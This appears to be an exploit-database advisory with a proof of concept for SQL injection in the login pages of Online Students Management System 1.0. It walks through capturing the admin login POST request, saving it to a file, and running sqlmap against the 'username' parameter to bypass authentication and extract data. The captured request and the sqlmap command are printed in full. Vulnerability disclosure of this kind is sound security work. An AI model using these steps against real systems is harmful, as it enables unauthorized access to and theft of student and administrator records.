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Online Students Management System 1.0 - 'username' SQL Injections

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# Title: Online Students Management System 1.0 - 'username' SQL Injections
# Exploit Author: George Tsimpidas
# Date: 2020-10-09
# Vendor Homepage: www.sourcecodester.com
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/janobe/studentrecord_0.zip
# Version : 1.0
# Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver)
# Category: Webapp

# Description

The files index.php on the main login page, and the index.php on the
/admin/ login page does not perform input validation on the regno
and username parameters. An attacker can send malicious input in the post
request to http://localhost/index.php or either
http://localhost/admin/index.php and bypass authentication, extract
sensitive information etc.

#POC

1) Navigate to the admin login page

Example:

http://localhost/admin/index.php

2) Fill in dummy values for 'username' and 'password' fields and send the
request via an HTTP intercept tool

3) Save the request to file. Example, student_record_sqli.req

POST /admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://localhost
DNT: 1
Connection: close

username=admin&password=dummy

4) Run SQLmap on the file,

sqlmap -r student_record_sqli.req --dbms=mysql --threads=10 -p username
            
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